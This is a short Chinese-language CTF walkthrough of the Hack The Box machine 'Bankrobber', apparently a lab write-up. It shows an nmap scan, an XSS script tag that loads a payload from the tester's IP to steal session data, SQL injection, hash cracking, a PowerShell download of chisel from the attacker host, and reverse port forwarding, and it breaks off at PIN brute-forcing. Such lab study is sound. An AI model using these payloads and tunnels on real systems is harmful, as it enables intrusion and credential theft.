Bankrobber

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.228.109 (扫描TCP)

80存在apache，所以我们要关注php（特别关注）

443是一个https的apache，在80存在异常的时候，可能就是被跳转到https了

而后就是3306的MariaDB (unauthorized)

然后就是每次都会遇到的smb枚举

基本上我们在这个信息收集中获取的信息就这么多了

python3 -m http.server 80。  --本地开服务器让那边找你这个test.js

<script src="http://10.10.16.43/xss.js"></script>

然后将信息返回到服务器上

SG9wZWxlc3Nyb21hbnRpYw%3D%3D

SG9wZWxlc3Nyb21hbnRpYw==

解密后发现

admin/Hopelessromantic。

登入后发现存在SQL注入

成功获取 root 用户哈希值：F435725A173757E57BD36B09048B8B610FF4D0C4，通过网站破解md5值
破解网站：https://crackstation.net/

成功破解密码为Welkom1!

PHP代码审计

访问地址http://10.10.10.154/notes.txt发现这是 xampp，默认绝对路径为C:/xampp/htdocs
















查看端口和进程发现bankv2.exe运行在本地的910端口,可以把端口转发出来：

# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 8000 --reverse

# target
powershell -c "wget 10.10.14.15:7777/chisel.exe -o c.exe"
c.exe client 10.10.14.15:8000 R:910:localhost:910

然后测试连接本机910端口，提示需要4位pin码：

bankv2

首先脚本爆破出来pin码是0021: